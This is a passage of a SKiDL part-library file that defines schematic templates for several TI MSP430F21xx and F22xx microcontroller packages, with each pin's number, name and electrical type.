Part(name='MSP430F2101IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin TSSOP, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2111IPW', 'MSP430F2121IPW', 'MSP430F2131IPW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/CA5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='P2.7/XOUT/CA7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P2.6/XIN/CA6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK/CA2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK/CA3',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0/CA4',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/TA1/CA0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA2/CA1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/TCLK/TDI/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2101IRGE',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin QFN, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2111IRGE', 'MSP430F2121IRGE', 'MSP430F2131IRGE'],pins=[
Pin(num='2',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.7/XOUT/CA7',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P2.6/XIN/CA6',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='~RST~/NMI',do_erc=True),
Pin(num='6',name='P2.0/ACLK/CA2',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P2.1/INCLK/CA3',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.2/CAOUT/TA0/CA4',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.3/TA1/CA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA1/TCLK/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.4/TA2/CA1',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TEST',do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P2.5/CA5',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2112IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='28pin TSSOP, 8KB + 256B Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2122IPW', 'MSP430F2132IPW'],pins=[
Pin(num='1',name='SBWTCK/TEST',do_erc=True),
Pin(num='2',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='CA5/Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='CA7/XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA6/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA2/ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='CA3/TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='CAOUT/CA4/TA0.0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='CA1/TA0.2/A4/VREF+/VeREF+/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='CAOUT/TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA1.0/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P3.6/A6/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P3.7/A7/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA0.2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='CA0/TA0.1/A3/VREF-/VeREF-/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2112IRHB',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='32pin QFN, 8KB + 256B Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2122IRHB', 'MSP430F2132IRHB'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA7/XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA6/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA2/ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA3/TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CAOUT/CA4/TA0.0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='CAOUT/TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA1.0/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='CA5/Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.6/A6/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.7/A7/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='CA0/TA0.1/A3/VREF-/VeREF-/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA0.2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='CA1/TA0.2/A4/VREF+/VeREF+/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F2112IRTV',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='32pin QFN, 8KB + 256B Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2122IRTV', 'MSP430F2132IRTV'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA7/XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA6/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA2/ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA3/TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CAOUT/CA4/TA0.0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='CAOUT/TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA1.0/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='CA5/Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.6/A6/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.7/A7/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='CA0/TA0.1/A3/VREF-/VeREF-/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA0.2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='CA1/TA0.2/A4/VREF+/VeREF+/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F2232IDA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='38pin TSSOP, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2252IDA', 'MSP430F2272IDA'],pins=[
Pin(num='1',name='SBWTCK/TEST',do_erc=True),
Pin(num='2',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.3/TB0/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2/A4/VREF+/VeREF+/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.4/TB1/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.5/TB2/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P4.6/TBOUTH/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TA1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA1/A3/VREF-/VeREF-/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2232IRHA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='40pin QFN, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2252IRHA', 'MSP430F2272IRHA'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='6',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.5/TB2/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.6/TBOUTH/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TA1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TA2/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA1/VREF-/VeREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P4.3/TB0/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P4.4/TB1/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='P1.0/TACLK/ADC10CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2232IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='49ball BGA, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2252IYFF', 'MSP430F2272IYFF'],pins=[
Pin(num='A1',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D1',name='SBWTCK/TEST',do_erc=True),
Pin(num='E1',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='A2',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C2',name='ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='TA2/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='C3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D3',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E3',name='TA1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='F3',name='TA1/VREF-/VeREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='TA2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F4',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E5',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='B6',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D6',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='F6',name='P4.5/TB2/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C7',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D7',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='P4.3/TB0/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='P4.4/TB1/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='P4.6/TBOUTH/A15',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2234IDA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='38pin TSSOP, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2254IDA', 'MSP430F2274IDA'],pins=[
Pin(num='1',name='SBWTCK/TEST',do_erc=True),
Pin(num='2',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='ACLK/A0/OA0I0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TAINCLK/SMCLK/A1/OA0O/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/A2/OA0I1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.3/TB0/A12/OA0O',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2/A4/VREF+/VeREF+/OA1I0/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.4/TB1/A13/OA1O',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.5/TB2/A14/OA0I3',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P4.6/TBOUTH/A15/OA1I3',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='P3.6/A6/OA0I2',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TA1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P3.7/A7/OA1I2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA1/A3/VREF-/VeREF-/OA1I1/OA1O/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2234IRHA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='40pin QFN, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2254IRHA', 'MSP430F2274IRHA'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='ACLK/A0/OA0I0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TAINCLK/SMCLK/A1/OA0O/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0/A2/OA0I1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.5/TB2/A14/OA0I3',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.6/TBOUTH/A15/OA1I3',func=Pin.BIDIR,do_erc=True),
